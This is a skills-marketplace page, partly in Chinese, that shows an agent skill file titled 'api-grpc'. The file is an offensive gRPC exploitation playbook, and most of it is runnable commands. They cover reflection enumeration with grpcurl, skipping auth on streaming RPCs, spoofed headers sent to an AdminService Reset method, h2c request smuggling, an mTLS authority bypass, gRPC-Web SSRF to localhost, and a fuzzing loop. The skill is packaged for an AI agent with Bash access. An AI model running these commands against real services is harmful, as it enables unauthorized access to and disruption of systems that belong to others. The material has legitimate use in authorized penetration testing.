菜单
gRPC API exploitation — reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web → backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts.
默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/PurpleAILAB/Decepticon --skill api-grpc命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | api-grpc |
| description | gRPC API exploitation — reflection-based discovery via grpcurl, protobuf fuzzing, missing authz on streaming RPCs, gRPC-Web → backend SSRF, mTLS bypass, metadata header injection, h2c smuggling against gRPC fronts. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"grpc proto protobuf reflection grpcurl streaming bidirectional unary mtls h2c grpc-web envoy","subdomain":"api","tags":"grpc, protobuf, http2, api","mitre_attack":"T1190, T1203"} |
# 1. Detect: HTTP/2 + content-type application/grpc[+proto|+json]
curl -s -I --http2 https://api.target/svc/method | grep -iE 'content-type|alt-svc'
# 2. List services via server reflection (often left on in prod)
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 list mypackage.MyService
grpcurl -plaintext target:50051 describe mypackage.MyService.Method
# 3. If reflection disabled, grab .proto from:
# - Sourcemap of a gRPC-Web client app
# - JS bundle: `grep -ro "name: \"\\([A-Z][A-Za-z]*Service\\)" *.js`
# - Mobile app (apktool + jadx → search for FileDescriptorProto)
Many implementations enforce auth on unary RPCs but skip server-streaming or bidi-streaming:
grpcurl -plaintext -H "authorization: bearer" target:50051 \
mypackage.MyService/StreamEvents
# Sometimes returns events without proper auth check
Send a request with extra protobuf fields (numbers not in the .proto) — older servers echo them back or expose internal state via UnknownField handling.
echo '{"id": 1, "1000000": "hidden field"}' | \
grpcurl -plaintext -d @ target:50051 mypackage.MyService/Get
gRPC headers (metadata) often map directly to HTTP/2 headers in the proxy layer:
grpcurl -plaintext -H "x-real-ip: 127.0.0.1" -H "x-forwarded-for: 127.0.0.1" \
-H "authorization: bearer $TOKEN" target:50051 mypackage.AdminService/Reset
HTTP/2 cleartext upgrade can be smuggled past h1/h2 boundary:
# Use h2csmuggler.py against an Envoy fronting a gRPC backend
python3 h2csmuggler.py -x https://front.target/ -t /AdminService.Reset http://internal-grpc:50051
If the backend validates mTLS but the front terminates TLS, sometimes SNI-different connections bypass:
# Connect with cert for `legit.com` but Host header `admin-internal`
grpcurl -cacert ca.crt -cert legit.crt -key legit.key \
-authority admin-internal target:443 mypackage.AdminService/Reset
gRPC-Web translates browser HTTP → backend gRPC. Sometimes the translator allows arbitrary upstream:
# If the Envoy filter is misconfigured:
curl https://target/grpc-web/upstream/127.0.0.1:50051/AdminService/Reset
# 1. Pull all the proto definitions
grpcurl -plaintext target:50051 describe -msg-template > schema.txt
# 2. Generate fuzz inputs with grpc-fuzzer or Mayhem
mayhem run grpcfuzzer -t target:50051 -s schema.txt
# 3. Or manual: enumerate Method/{empty,minimal,max,min,negative,oversized}
for m in $(grpcurl -plaintext target:50051 list | xargs -I{} grpcurl -plaintext target:50051 list {}); do
echo "=== $m ==="
grpcurl -plaintext -d '{}' target:50051 $m 2>&1 | head -5
done
google.rpc.Status.details). Even hardened servers leak via timing on encrypted channels.